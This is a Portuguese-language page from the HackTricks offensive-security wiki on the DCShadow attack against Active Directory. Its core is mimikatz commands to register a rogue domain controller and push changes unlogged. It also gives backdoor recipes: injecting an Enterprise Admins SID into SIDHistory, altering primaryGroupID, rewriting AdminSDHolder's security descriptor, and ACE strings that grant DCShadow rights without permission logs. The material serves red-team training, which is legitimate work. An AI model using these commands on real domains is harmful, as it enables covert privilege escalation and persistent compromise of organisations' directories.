6.8 KiB
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
DCShadow
Registra um novo Controlador de Domínio no AD e o utiliza para inserir atributos (SIDHistory, SPNs...) em objetos especificados sem deixar logs sobre as modificações. Você precisa de privilégios DA e estar dentro do domínio raiz.
Observe que se você usar dados incorretos, logs bastante feios aparecerão.
Para realizar o ataque, você precisa de 2 instâncias do mimikatz. Uma delas iniciará os servidores RPC com privilégios do SISTEMA (você deve indicar aqui as alterações que deseja realizar), e a outra instância será usada para inserir os valores:
{% code title="mimikatz1 (servidores RPC)" %}
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
{% endcode %}
{% code title="mimikatz2 (push) - Necessita de DA ou similar" %}
lsadump::dcshadow /push
{% endcode %}
Observe que elevate::token
não funcionará na sessão mimikatz1
pois isso eleva os privilégios da thread, mas precisamos elevar o privilégio do processo.
Você também pode selecionar um objeto "LDAP": /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
Você pode fazer as alterações de um DA ou de um usuário com essas permissões mínimas:
- No objeto de domínio:
- DS-Install-Replica (Adicionar/Remover Réplica no Domínio)
- DS-Replication-Manage-Topology (Gerenciar Topologia de Replicação)
- DS-Replication-Synchronize (Sincronização de Replicação)
- O objeto Sites (e seus filhos) no contêiner de Configuração:
- CreateChild e DeleteChild
- O objeto do computador registrado como um DC:
- WriteProperty (Não Write)
- O objeto alvo:
- WriteProperty (Não Write)
Você pode usar Set-DCShadowPermissions para dar esses privilégios a um usuário não privilegiado (observe que isso deixará alguns logs). Isso é muito mais restritivo do que ter privilégios de DA.
Por exemplo: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose
Isso significa que o nome de usuário student1 quando conectado na máquina mcorp-student1 tem permissões DCShadow sobre o objeto root1user.
Usando DCShadow para criar backdoors
{% code title="Definir Enterprise Admins em SIDHistory para um usuário" %}
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
{% endcode %}
{% code title="Alterar o PrimaryGroupID (colocar usuário como membro dos Administradores de Domínio)" %}
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
{% endcode %}
{% code title="Modificar ntSecurityDescriptor do AdminSDHolder (dar Controle Total a um usuário)" %}
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
{% endcode %}
Shadowception - Dar permissões DCShadow usando DCShadow (sem logs de permissões modificadas)
Precisamos adicionar os seguintes ACEs com o SID do nosso usuário no final:
- No objeto de domínio:
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;SIDdoUsuário)
(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;SIDdoUsuário)
(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;SIDdoUsuário)
- No objeto de computador do atacante:
(A;;WP;;;SIDdoUsuário)
- No objeto de usuário alvo:
(A;;WP;;;SIDdoUsuário)
- No objeto Sites no contêiner de Configuração:
(A;CI;CCDC;;;SIDdoUsuário)
Para obter o ACE atual de um objeto: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl
Observe que, neste caso, você precisa fazer várias alterações, não apenas uma. Portanto, na sessão mimikatz1 (servidor RPC), use o parâmetro /stack
com cada alteração que deseja fazer. Dessa forma, você só precisará fazer /push
uma vez para realizar todas as alterações empilhadas no servidor falso.
Mais informações sobre DCShadow em ired.team.
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud github repos.